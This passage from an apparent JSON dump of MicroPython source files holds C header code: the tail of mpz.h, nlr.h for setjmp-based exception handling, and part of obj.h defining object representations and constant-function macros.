MPZ_NUM_DIG_FOR_INT, val);\n\nvoid mpz_init_zero(mpz_t *z);\nvoid mpz_init_from_int(mpz_t *z, mp_int_t val);\nvoid mpz_init_fixed_from_int(mpz_t *z, mpz_dig_t *dig, size_t dig_alloc, mp_int_t val);\nvoid mpz_deinit(mpz_t *z);\n\nvoid mpz_set(mpz_t *dest, const mpz_t *src);\nvoid mpz_set_from_int(mpz_t *z, mp_int_t src);\nvoid mpz_set_from_ll(mpz_t *z, long long i, bool is_signed);\n#if MICROPY_PY_BUILTINS_FLOAT\nvoid mpz_set_from_float(mpz_t *z, mp_float_t src);\n#endif\nsize_t mpz_set_from_str(mpz_t *z, const char *str, size_t len, bool neg, unsigned int base);\nvoid mpz_set_from_bytes(mpz_t *z, bool big_endian, size_t len, const byte *buf);\n\nstatic inline bool mpz_is_zero(const mpz_t *z) { return z->len == 0; }\nstatic inline bool mpz_is_neg(const mpz_t *z) { return z->len != 0 && z->neg != 0; }\nint mpz_cmp(const mpz_t *lhs, const mpz_t *rhs);\n\nvoid mpz_abs_inpl(mpz_t *dest, const mpz_t *z);\nvoid mpz_neg_inpl(mpz_t *dest, const mpz_t *z);\nvoid mpz_not_inpl(mpz_t *dest, const mpz_t *z);\nvoid mpz_shl_inpl(mpz_t *dest, const mpz_t *lhs, mp_uint_t rhs);\nvoid mpz_shr_inpl(mpz_t *dest, const mpz_t *lhs, mp_uint_t rhs);\nvoid mpz_add_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs);\nvoid mpz_sub_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs);\nvoid mpz_mul_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs);\nvoid mpz_pow_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs);\nvoid mpz_pow3_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs, const mpz_t *mod);\nvoid mpz_and_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs);\nvoid mpz_or_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs);\nvoid mpz_xor_inpl(mpz_t *dest, const mpz_t *lhs, const mpz_t *rhs);\nvoid mpz_divmod_inpl(mpz_t *dest_quo, mpz_t *dest_rem, const mpz_t *lhs, const mpz_t *rhs);\n\nstatic inline size_t mpz_max_num_bits(const mpz_t *z) { return z->len * MPZ_DIG_SIZE; }\nmp_int_t mpz_hash(const mpz_t *z);\nbool mpz_as_int_checked(const mpz_t *z, mp_int_t *value);\nbool mpz_as_uint_checked(const mpz_t *z, mp_uint_t *value);\nvoid mpz_as_bytes(const mpz_t *z, bool big_endian, size_t len, byte *buf);\n#if MICROPY_PY_BUILTINS_FLOAT\nmp_float_t mpz_as_float(const mpz_t *z);\n#endif\nsize_t mpz_as_str_inpl(const mpz_t *z, unsigned int base, const char *prefix, char base_char, char comma, char *str);\n\n#endif // MICROPY_INCLUDED_PY_MPZ_H\n"
  },
  {
    "path": "micropython/inc/py/nlr.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_NLR_H\n#define MICROPY_INCLUDED_PY_NLR_H\n\n// non-local return\n// exception handling, basically a stack of setjmp/longjmp buffers\n\n#include <limits.h>\n#include <setjmp.h>\n#include <assert.h>\n\n#include \"py/mpconfig.h\"\n\ntypedef struct _nlr_buf_t nlr_buf_t;\nstruct _nlr_buf_t {\n    // the entries here must all be machine word size\n    nlr_buf_t *prev;\n    void *ret_val; // always a concrete object (an exception instance)\n#if !defined(MICROPY_NLR_SETJMP) || !MICROPY_NLR_SETJMP\n#if defined(__i386__)\n    void *regs[6];\n#elif defined(__x86_64__)\n  #if defined(__CYGWIN__)\n    void *regs[12];\n  #else\n    void *regs[8];\n  #endif\n#elif defined(__thumb2__) || defined(__thumb__) || defined(__arm__)\n    void *regs[10];\n#elif defined(__xtensa__)\n    void *regs[10];\n#else\n    #define MICROPY_NLR_SETJMP (1)\n    //#warning \"No native NLR support for this arch, using setjmp implementation\"\n#endif\n#endif\n\n#if MICROPY_NLR_SETJMP\n    jmp_buf jmpbuf;\n#endif\n};\n\n#if MICROPY_NLR_SETJMP\n#include \"py/mpstate.h\"\n\nNORETURN void nlr_setjmp_jump(void *val);\n// nlr_push() must be defined as a macro, because \"The stack context will be\n// invalidated if the function which called setjmp() returns.\"\n#define nlr_push(buf) ((buf)->prev = MP_STATE_THREAD(nlr_top), MP_STATE_THREAD(nlr_top) = (buf), setjmp((buf)->jmpbuf))\n#define nlr_pop() { MP_STATE_THREAD(nlr_top) = MP_STATE_THREAD(nlr_top)->prev; }\n#define nlr_jump(val) nlr_setjmp_jump(val)\n#else\nunsigned int nlr_push(nlr_buf_t *);\nvoid nlr_pop(void);\nNORETURN void nlr_jump(void *val);\n#endif\n\n// This must be implemented by a port.  It's called by nlr_jump\n// if no nlr buf has been pushed.  It must not return, but rather\n// should bail out with a fatal error.\nNORETURN void nlr_jump_fail(void *val);\n\n// use nlr_raise instead of nlr_jump so that debugging is easier\n#ifndef MICROPY_DEBUG_NLR\n#define nlr_raise(val) nlr_jump(MP_OBJ_TO_PTR(val))\n#else\n#include \"mpstate.h\"\n#define nlr_raise(val) \\\n    do { \\\n        /*printf(\"nlr_raise: nlr_top=%p\\n\", MP_STATE_THREAD(nlr_top)); \\\n        fflush(stdout);*/ \\\n        void *_val = MP_OBJ_TO_PTR(val); \\\n        assert(_val != NULL); \\\n        assert(mp_obj_is_exception_instance(val)); \\\n        nlr_jump(_val); \\\n    } while (0)\n\n#if !MICROPY_NLR_SETJMP\n#define nlr_push(val) \\\n    assert(MP_STATE_THREAD(nlr_top) != val),nlr_push(val)\n\n/*\n#define nlr_push(val) \\\n    printf(\"nlr_push: before: nlr_top=%p, val=%p\\n\", MP_STATE_THREAD(nlr_top), val),assert(MP_STATE_THREAD(nlr_top) != val),nlr_push(val)\n#endif\n*/\n#endif\n\n#endif\n\n#endif // MICROPY_INCLUDED_PY_NLR_H\n"
  },
  {
    "path": "micropython/inc/py/obj.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_PY_OBJ_H\n#define MICROPY_INCLUDED_PY_OBJ_H\n\n#include \"py/mpconfig.h\"\n#include \"py/misc.h\"\n#include \"py/qstr.h\"\n#include \"py/mpprint.h\"\n\n// This is the definition of the opaque MicroPython object type.\n// All concrete objects have an encoding within this type and the\n// particular encoding is specified by MICROPY_OBJ_REPR.\n#if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D\ntypedef uint64_t mp_obj_t;\ntypedef uint64_t mp_const_obj_t;\n#else\ntypedef void *mp_obj_t;\ntypedef const void *mp_const_obj_t;\n#endif\n\n// This mp_obj_type_t struct is a concrete MicroPython object which holds info\n// about a type.  See below for actual definition of the struct.\ntypedef struct _mp_obj_type_t mp_obj_type_t;\n\n// Anything that wants to be a concrete MicroPython object must have mp_obj_base_t\n// as its first member (small ints, qstr objs and inline floats are not concrete).\nstruct _mp_obj_base_t {\n    const mp_obj_type_t *type MICROPY_OBJ_BASE_ALIGNMENT;\n};\ntypedef struct _mp_obj_base_t mp_obj_base_t;\n\n// These fake objects are used to indicate certain things in arguments or return\n// values, and should only be used when explicitly allowed.\n//\n//  - MP_OBJ_NULL : used to indicate the absence of an object, or unsupported operation.\n//  - MP_OBJ_STOP_ITERATION : used instead of throwing a StopIteration, for efficiency.\n//  - MP_OBJ_SENTINEL : used for various internal purposes where one needs\n//    an object which is unique from all other objects, including MP_OBJ_NULL.\n//\n// For debugging purposes they are all different.  For non-debug mode, we alias\n// as many as we can to MP_OBJ_NULL because it's cheaper to load/compare 0.\n\n#ifdef NDEBUG\n#define MP_OBJ_NULL             (MP_OBJ_FROM_PTR((void*)0))\n#define MP_OBJ_STOP_ITERATION   (MP_OBJ_FROM_PTR((void*)0))\n#define MP_OBJ_SENTINEL         (MP_OBJ_FROM_PTR((void*)4))\n#else\n#define MP_OBJ_NULL             (MP_OBJ_FROM_PTR((void*)0))\n#define MP_OBJ_STOP_ITERATION   (MP_OBJ_FROM_PTR((void*)4))\n#define MP_OBJ_SENTINEL         (MP_OBJ_FROM_PTR((void*)8))\n#endif\n\n// These macros/inline functions operate on objects and depend on the\n// particular object representation.  They are used to query, pack and\n// unpack small ints, qstrs and full object pointers.\n\n#if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_A\n\nstatic inline bool MP_OBJ_IS_SMALL_INT(mp_const_obj_t o)\n    { return ((((mp_int_t)(o)) & 1) != 0); }\n#define MP_OBJ_SMALL_INT_VALUE(o) (((mp_int_t)(o)) >> 1)\n#define MP_OBJ_NEW_SMALL_INT(small_int) ((mp_obj_t)((((mp_uint_t)(small_int)) << 1) | 1))\n\nstatic inline bool MP_OBJ_IS_QSTR(mp_const_obj_t o)\n    { return ((((mp_int_t)(o)) & 3) == 2); }\n#define MP_OBJ_QSTR_VALUE(o) (((mp_uint_t)(o)) >> 2)\n#define MP_OBJ_NEW_QSTR(qst) ((mp_obj_t)((((mp_uint_t)(qst)) << 2) | 2))\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#define mp_const_float_e MP_ROM_PTR(&mp_const_float_e_obj)\n#define mp_const_float_pi MP_ROM_PTR(&mp_const_float_pi_obj)\nextern const struct _mp_obj_float_t mp_const_float_e_obj;\nextern const struct _mp_obj_float_t mp_const_float_pi_obj;\n\n#define mp_obj_is_float(o) MP_OBJ_IS_TYPE((o), &mp_type_float)\nmp_float_t mp_obj_float_get(mp_obj_t self_in);\nmp_obj_t mp_obj_new_float(mp_float_t value);\n#endif\n\nstatic inline bool MP_OBJ_IS_OBJ(mp_const_obj_t o)\n    { return ((((mp_int_t)(o)) & 3) == 0); }\n\n#elif MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_B\n\nstatic inline bool MP_OBJ_IS_SMALL_INT(mp_const_obj_t o)\n    { return ((((mp_int_t)(o)) & 3) == 1); }\n#define MP_OBJ_SMALL_INT_VALUE(o) (((mp_int_t)(o)) >> 2)\n#define MP_OBJ_NEW_SMALL_INT(small_int) ((mp_obj_t)((((mp_uint_t)(small_int)) << 2) | 1))\n\nstatic inline bool MP_OBJ_IS_QSTR(mp_const_obj_t o)\n    { return ((((mp_int_t)(o)) & 3) == 3); }\n#define MP_OBJ_QSTR_VALUE(o) (((mp_uint_t)(o)) >> 2)\n#define MP_OBJ_NEW_QSTR(qst) ((mp_obj_t)((((mp_uint_t)(qst)) << 2) | 3))\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#define mp_const_float_e MP_ROM_PTR(&mp_const_float_e_obj)\n#define mp_const_float_pi MP_ROM_PTR(&mp_const_float_pi_obj)\nextern const struct _mp_obj_float_t mp_const_float_e_obj;\nextern const struct _mp_obj_float_t mp_const_float_pi_obj;\n\n#define mp_obj_is_float(o) MP_OBJ_IS_TYPE((o), &mp_type_float)\nmp_float_t mp_obj_float_get(mp_obj_t self_in);\nmp_obj_t mp_obj_new_float(mp_float_t value);\n#endif\n\nstatic inline bool MP_OBJ_IS_OBJ(mp_const_obj_t o)\n    { return ((((mp_int_t)(o)) & 1) == 0); }\n\n#elif MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C\n\nstatic inline bool MP_OBJ_IS_SMALL_INT(mp_const_obj_t o)\n    { return ((((mp_int_t)(o)) & 1) != 0); }\n#define MP_OBJ_SMALL_INT_VALUE(o) (((mp_int_t)(o)) >> 1)\n#define MP_OBJ_NEW_SMALL_INT(small_int) ((mp_obj_t)((((mp_uint_t)(small_int)) << 1) | 1))\n\n#define mp_const_float_e MP_ROM_PTR((mp_obj_t)(((0x402df854 & ~3) | 2) + 0x80800000))\n#define mp_const_float_pi MP_ROM_PTR((mp_obj_t)(((0x40490fdb & ~3) | 2) + 0x80800000))\n\nstatic inline bool mp_obj_is_float(mp_const_obj_t o)\n    { return (((mp_uint_t)(o)) & 3) == 2 && (((mp_uint_t)(o)) & 0xff800007) != 0x00000006; }\nstatic inline mp_float_t mp_obj_float_get(mp_const_obj_t o) {\n    union {\n        mp_float_t f;\n        mp_uint_t u;\n    } num = {.u = ((mp_uint_t)o - 0x80800000) & ~3};\n    return num.f;\n}\nstatic inline mp_obj_t mp_obj_new_float(mp_float_t f) {\n    union {\n        mp_float_t f;\n        mp_uint_t u;\n    } num = {.f = f};\n    return (mp_obj_t)(((num.u & ~0x3) | 2) + 0x80800000);\n}\n\nstatic inline bool MP_OBJ_IS_QSTR(mp_const_obj_t o)\n    { return (((mp_uint_t)(o)) & 0xff800007) == 0x00000006; }\n#define MP_OBJ_QSTR_VALUE(o) (((mp_uint_t)(o)) >> 3)\n#define MP_OBJ_NEW_QSTR(qst) ((mp_obj_t)((((mp_uint_t)(qst)) << 3) | 0x00000006))\n\nstatic inline bool MP_OBJ_IS_OBJ(mp_const_obj_t o)\n    { return ((((mp_int_t)(o)) & 3) == 0); }\n\n#elif MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D\n\nstatic inline bool MP_OBJ_IS_SMALL_INT(mp_const_obj_t o)\n    { return ((((mp_int_t)(o)) & 0xffff000000000000) == 0x0001000000000000); }\n#define MP_OBJ_SMALL_INT_VALUE(o) (((intptr_t)(o)) >> 1)\n#define MP_OBJ_NEW_SMALL_INT(small_int) ((mp_obj_t)(((uintptr_t)(small_int)) << 1) | 0x0001000000000001)\n\nstatic inline bool MP_OBJ_IS_QSTR(mp_const_obj_t o)\n    { return ((((mp_int_t)(o)) & 0xffff000000000000) == 0x0002000000000000); }\n#define MP_OBJ_QSTR_VALUE(o) ((((uint32_t)(o)) >> 1) & 0xffffffff)\n#define MP_OBJ_NEW_QSTR(qst) ((mp_obj_t)((((mp_uint_t)(qst)) << 1) | 0x0002000000000001))\n\n#if MICROPY_PY_BUILTINS_FLOAT\n#define mp_const_float_e {((mp_obj_t)((uint64_t)0x4005bf0a8b125769 + 0x8004000000000000))}\n#define mp_const_float_pi {((mp_obj_t)((uint64_t)0x400921fb54442d18 + 0x8004000000000000))}\n\nstatic inline bool mp_obj_is_float(mp_const_obj_t o) {\n    return ((uint64_t)(o) & 0xfffc000000000000) != 0;\n}\nstatic inline mp_float_t mp_obj_float_get(mp_const_obj_t o) {\n    union {\n        mp_float_t f;\n        uint64_t r;\n    } num = {.r = o - 0x8004000000000000};\n    return num.f;\n}\nstatic inline mp_obj_t mp_obj_new_float(mp_float_t f) {\n    union {\n        mp_float_t f;\n        uint64_t r;\n    } num = {.f = f};\n    return num.r + 0x8004000000000000;\n}\n#endif\n\nstatic inline bool MP_OBJ_IS_OBJ(mp_const_obj_t o)\n    { return ((((uint64_t)(o)) & 0xffff000000000000) == 0x0000000000000000); }\n#define MP_OBJ_TO_PTR(o) ((void*)(uintptr_t)(o))\n#define MP_OBJ_FROM_PTR(p) ((mp_obj_t)((uintptr_t)(p)))\n\n// rom object storage needs special handling to widen 32-bit pointer to 64-bits\ntypedef union _mp_rom_obj_t { uint64_t u64; struct { const void *lo, *hi; } u32; } mp_rom_obj_t;\n#define MP_ROM_INT(i) {MP_OBJ_NEW_SMALL_INT(i)}\n#define MP_ROM_QSTR(q) {MP_OBJ_NEW_QSTR(q)}\n#if MP_ENDIANNESS_LITTLE\n#define MP_ROM_PTR(p) {.u32 = {.lo = (p), .hi = NULL}}\n#else\n#define MP_ROM_PTR(p) {.u32 = {.lo = NULL, .hi = (p)}}\n#endif\n\n#endif\n\n// Macros to convert between mp_obj_t and concrete object types.\n// These are identity operations in MicroPython, but ability to override\n// these operations are provided to experiment with other methods of\n// object representation and memory management.\n\n// Cast mp_obj_t to object pointer\n#ifndef MP_OBJ_TO_PTR\n#define MP_OBJ_TO_PTR(o) ((void*)o)\n#endif\n\n// Cast object pointer to mp_obj_t\n#ifndef MP_OBJ_FROM_PTR\n#define MP_OBJ_FROM_PTR(p) ((mp_obj_t)p)\n#endif\n\n// Macros to create objects that are stored in ROM.\n\n#ifndef MP_ROM_INT\ntypedef mp_const_obj_t mp_rom_obj_t;\n#define MP_ROM_INT(i) MP_OBJ_NEW_SMALL_INT(i)\n#define MP_ROM_QSTR(q) MP_OBJ_NEW_QSTR(q)\n#define MP_ROM_PTR(p) (p)\n/* for testing\ntypedef struct _mp_rom_obj_t { mp_const_obj_t o; } mp_rom_obj_t;\n#define MP_ROM_INT(i) {MP_OBJ_NEW_SMALL_INT(i)}\n#define MP_ROM_QSTR(q) {MP_OBJ_NEW_QSTR(q)}\n#define MP_ROM_PTR(p) {.o = p}\n*/\n#endif\n\n// The macros below are derived from the ones above and are used to\n// check for more specific object types.\n\n#define MP_OBJ_IS_TYPE(o, t) (MP_OBJ_IS_OBJ(o) && (((mp_obj_base_t*)MP_OBJ_TO_PTR(o))->type == (t))) // this does not work for checking int, str or fun; use below macros for that\n#define MP_OBJ_IS_INT(o) (MP_OBJ_IS_SMALL_INT(o) || MP_OBJ_IS_TYPE(o, &mp_type_int))\n#define MP_OBJ_IS_STR(o) (MP_OBJ_IS_QSTR(o) || MP_OBJ_IS_TYPE(o, &mp_type_str))\n#define MP_OBJ_IS_STR_OR_BYTES(o) (MP_OBJ_IS_QSTR(o) || (MP_OBJ_IS_OBJ(o) && ((mp_obj_base_t*)MP_OBJ_TO_PTR(o))->type->binary_op == mp_obj_str_binary_op))\n#define MP_OBJ_IS_FUN(o) (MP_OBJ_IS_OBJ(o) && (((mp_obj_base_t*)MP_OBJ_TO_PTR(o))->type->name == MP_QSTR_function))\n\n// Note: inline functions sometimes use much more code space than the\n// equivalent macros, depending on the compiler.\n//static inline bool MP_OBJ_IS_TYPE(mp_const_obj_t o, const mp_obj_type_t *t) { return (MP_OBJ_IS_OBJ(o) && (((mp_obj_base_t*)(o))->type == (t))); } // this does not work for checking a string, use below macro for that\n//static inline bool MP_OBJ_IS_INT(mp_const_obj_t o) { return (MP_OBJ_IS_SMALL_INT(o) || MP_OBJ_IS_TYPE(o, &mp_type_int)); } // returns true if o is a small int or long int\n// Need to forward declare these for the inline function to compile.\nextern const mp_obj_type_t mp_type_int;\nextern const mp_obj_type_t mp_type_bool;\nstatic inline bool mp_obj_is_integer(mp_const_obj_t o) { return MP_OBJ_IS_INT(o) || MP_OBJ_IS_TYPE(o, &mp_type_bool); } // returns true if o is bool, small int or long int\n//static inline bool MP_OBJ_IS_STR(mp_const_obj_t o) { return (MP_OBJ_IS_QSTR(o) || MP_OBJ_IS_TYPE(o, &mp_type_str)); }\n\n\n// These macros are used to declare and define constant function objects\n// You can put \"static\" in front of the definitions to make them local\n\n// If using a C++ compiler then we can only initialise a const union with the\n// first member, and so we use distinct struct types for all possible cases\n\n#define MP_DECLARE_CONST_FUN_OBJ_0(obj_name) extern const mp_obj_fun_builtin_fixed0_t obj_name\n#define MP_DECLARE_CONST_FUN_OBJ_1(obj_name) extern const mp_obj_fun_builtin_fixed1_t obj_name\n#define MP_DECLARE_CONST_FUN_OBJ_2(obj_name) extern const mp_obj_fun_builtin_fixed2_t obj_name\n#define MP_DECLARE_CONST_FUN_OBJ_3(obj_name) extern const mp_obj_fun_builtin_fixed3_t obj_name\n#define MP_DECLARE_CONST_FUN_OBJ_VAR(obj_name) extern const mp_obj_fun_builtin_var_t obj_name\n#define MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(obj_name) extern const mp_obj_fun_builtin_var_t obj_name\n#define MP_DECLARE_CONST_FUN_OBJ_KW(obj_name) extern const mp_obj_fun_builtin_kw_t obj_name\n\n#define MP_DEFINE_CONST_FUN_OBJ_0(obj_name, fun_name) \\\n    const mp_obj_fun_builtin_fixed0_t obj_name = \\\n        {{&mp_type_fun_builtin_0}, fun_name}\n#define MP_DEFINE_CONST_FUN_OBJ_1(obj_name, fun_name) \\\n    const mp_obj_fun_builtin_fixed1_t obj_name = \\\n        {{&mp_type_fun_builtin_1}, fun_name}\n#define MP_DEFINE_CONST_FUN_OBJ_2(obj_name, fun_name) \\\n    const mp_obj_fun_builtin_fixed2_t obj_name = \\\n        {{&mp_type_fun_builtin_2}, fun_name}\n#define MP_DEFINE_CONST_FUN_OBJ_3(obj_name, fun_name) \\\n    const mp_obj_fun_builtin_fixed3_t obj_name = \\\n        {{&mp_type_fun_builtin_3}, fun_name}\n#define MP_DEFINE_CONST_FUN_OBJ_VAR(obj_name, n_args_min, fun_name) \\\n    const mp_obj_fun_builtin_var_t obj_name = \\\n        {{&mp_type_fun_builtin_var}, false, n_args_min, MP_OBJ_FUN_ARGS_MAX, fun_name}\n#define MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(obj_name, n_args_min, n_args_max, fun_name) \\\n    const mp_obj_fun_builtin_var_t obj_name = \\\n        {{&mp_type_fun_builtin_var}, false, n_args_min, n_args_max, fun_name}\n#define MP_DEFINE_CONST_FUN_OBJ_KW(obj_name, n_args_min, fun_name) \\\n    const mp_obj_fun_builtin_kw_t obj_name = \\\n        {{&mp_type_fun_builtin_var}, true, n_args_min, MP_OBJ_FUN_ARGS_MAX, fun_name}\n\n// These macros are used to define constant map/dict objects\n// You can put \"static\" in front of the definition to make it local\n\n#define MP_DEFINE_CONST_MAP(map_name, table_name) \\\n    const mp_map_t map_name = { \\\n        .all_keys_are_qstrs = 1, \\\n        .is_fixed = 1, \\\n        .is_ordered = 1, \\\n        .used = MP_ARRAY_SIZE(table_name), \\\n        .alloc = MP_ARRAY_SIZE(table_name), \\\n        .table = (mp_map_elem_t*)(mp_rom_map_elem_t*)table_name, \\\n    }\n\n#define MP_DEFINE_CONST_DICT(dict_name, table_name) \\\n    const mp_obj_dict_t dict_name = { \\\n        .base = {&mp_type_dict}, \\\n        .map = { \\\n            .all_keys_are_qstrs = 1, \\\n            .is_fixed = 1, \\\n            .is_ordered = 1, \\\n            .used = MP_ARRAY_SIZE(table_name), \\\n            .alloc = MP_ARRAY_SIZE(table_name), \\\n            .table = (mp_map_elem_t*)(mp_rom_map_elem_t*)table_name, \\\n        }, \\\n    }\n\n// These macros are used to declare and define constant staticmethond and classmethod objects\n// You can put \"static\" in front of the definitions to make them local\n\n#define MP_DECLARE_CONST_STATICMETHOD_OBJ(obj_name) extern const mp_rom_obj_static_class_method_t obj_name\n#define MP_DECLARE_CONST_CLASSMETHOD_OBJ(obj_name) extern const mp_rom_obj_static_class_method_t obj_name\n\n#define MP_DEFINE_CONST_STATICMETHOD_OBJ(obj_name, fun_name) const mp_rom_obj_static_class_method_t obj_name = {{&mp_type_staticmethod}, fun_name}\n#define MP_DEFINE_CONST_CLASSMETHOD_OBJ(obj_name, fun_name) const mp_rom_obj_static_class_method_t obj_name = {{&mp_type_classmethod}, fun_name}\n\n// Underlying map/hash table implementation (not dict object or map function)\n\ntypedef struct _mp_map_elem_t {\n    mp_obj_t key;\n    mp_obj_t value;\n} mp_map_elem_t;\n\ntypedef struct _mp_rom_map_elem_t {\n    mp_rom_obj_t key;\n    mp_rom_obj_t value;\n} mp_rom_map_elem_t;\n\n// TODO maybe have a truncated mp_map_t for fixed tables, since alloc=used\n// put alloc last in the structure, so the truncated version does not need it\n// this would save 1 ROM word for all ROM objects that have a locals_dict\n// would also need a trucated dict structure\n\ntypedef struct _mp_map_t {\n    size_t all_keys_are_qstrs : 1;\n    size_t is_fixed : 1;    // a fixed array that can't be modified; must also be ordered\n    size_t is_ordered : 1;  // an ordered array\n    size_t used : (8 * sizeof(size_t) - 3);\n    size_t alloc;\n    mp_map_elem_t *table;\n} mp_map_t;\n\n// mp_set_lookup requires these constants to have the values they do\ntypedef enum _mp_map_lookup_kind_t {\n    MP_MAP_LOOKUP = 0,\n    MP_MAP_LOOKUP_ADD_IF_NOT_FOUND = 1,\n    MP_MAP_LOOKUP_REMOVE_IF_FOUND = 2,\n    MP_MAP_LOOKUP_ADD_IF_NOT_FOUND_OR_REMOVE_IF_FOUND = 3, // only valid for mp_set_lookup\n} mp_map_lookup_kind_t;\n\nextern const mp_map_t mp_const_empty_map;\n\nstatic inline bool MP_MAP_SLOT_IS_FILLED(const mp_map_t *map, size_t pos) { return ((map)->table[pos].key != MP_OBJ_NULL && (map)->table[pos].key != MP_OBJ_SENTINEL); }\n\nvoid mp_map_init(mp_map_t *map, size_t n);\nvoid mp_map_init_fixed_table(mp_map_t *map, size_t n, const mp_obj_t *table);\nmp_map_t *mp_map_new(size_t n);\nvoid mp_map_deinit(mp_map_t *map);\nvoid mp_map_free(mp_map_t *map);\nmp_map_elem_t *mp_map_lookup(mp_map_t *map, mp_obj_t index, mp_map_lookup_kind_t lookup_kind);\nvoid mp_map_clear(mp_map_t *map);\nvoid mp_map_dump(mp_map_t *map);\n\n// Underlying set implementation (not set object)\n\ntypedef struct _mp_set_t {\n    size_t alloc;\n    size_t used;\n    mp_obj_t *table;\n} mp_set_t;\n\nstatic inline bool MP_SET_SLOT_IS_FILLED(const mp_set_t *set, size_t pos) { return ((set)->table[pos] != MP_OBJ_NULL && (set)->table[pos] != MP_OBJ_SENTINEL); }\n\nvoid mp_set_init(mp_set_t *set, size_t n);\nmp_obj_t mp_set_lookup(mp_set_t *set, mp_obj_t index, mp_map_lookup_kind_t lookup_kind);\nmp_obj_t mp_set_remove_first(mp_set_t *set);\nvoid mp_set_clear(mp_set_t *set);\n\n// Type definitions for methods\n\ntypedef mp_obj_t (*mp_fun_0_t)(void);\ntypedef mp_obj_t (*mp_fun_1_t)(mp_obj_t);\ntypedef mp_obj_t (*mp_fun_2_t)(mp_obj_t, mp_obj_t);\ntypedef mp_obj_t (*mp_fun_3_t)(mp_obj_t, mp_obj_t, mp_obj_t);\ntypedef mp_obj_t (*mp_fun_var_t)(size_t n, const mp_obj_t *);\n// mp_fun_kw_t takes mp_map_t* (and not const mp_map_t*) to ease passing\n// this arg to mp_map_lookup().\ntypedef mp_obj_t (*mp_fun_kw_t)(size_t n, const mp_obj_t *, mp_map_t *);\n\ntypedef enum {\n    PRINT_STR = 0,\n    PRINT_REPR = 1,\n    PRINT_EXC = 2, // Special format for printing exception in unhandled exception message\n    PRINT_JSON = 3,\n    PRINT_RAW = 4, // Special format for printing bytes as an undercorated string\n    PRINT_EXC_SUBCLASS = 0x80, // Internal flag for printing exception subclasses\n} mp_print_kind_t;\n\ntypedef struct _mp_obj_iter_buf_t {\n    mp_obj_base_t base;\n    mp_obj_t buf[3];\n} mp_obj_iter_buf_t;\n\n// The number of slots that an mp_obj_iter_buf_t needs on the Python value stack.\n// It's rounded up in case mp_obj_base_t is smaller than mp_obj_t (eg for OBJ_REPR_D).\n#define MP_OBJ_ITER_BUF_NSLOTS ((sizeof(mp_obj_iter_buf_t) + sizeof(mp_obj_t) - 1) / sizeof(mp_obj_t))\n\ntypedef void (*mp_print_fun_t)(const mp_print_t *print, mp_obj_t o, mp_print_kind_t kind);\ntypedef mp_obj_t (*mp_make_new_fun_t)(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args);\ntypedef mp_obj_t (*mp_call_fun_t)(mp_obj_t fun, size_t n_args, size_t n_kw, const mp_obj_t *args);\ntypedef mp_obj_t (*mp_unary_op_fun_t)(mp_uint_t op, mp_obj_t);\ntypedef mp_obj_t (*mp_binary_op_fun_t)(mp_uint_t op, mp_obj_t, mp_obj_t);\ntypedef void (*mp_attr_fun_t)(mp_obj_t self_in, qstr attr, mp_obj_t *dest);\ntypedef mp_obj_t (*mp_subscr_fun_t)(mp_obj_t self_in, mp_obj_t index, mp_obj_t value);\ntypedef mp_obj_t (*mp_getiter_fun_t)(mp_obj_t 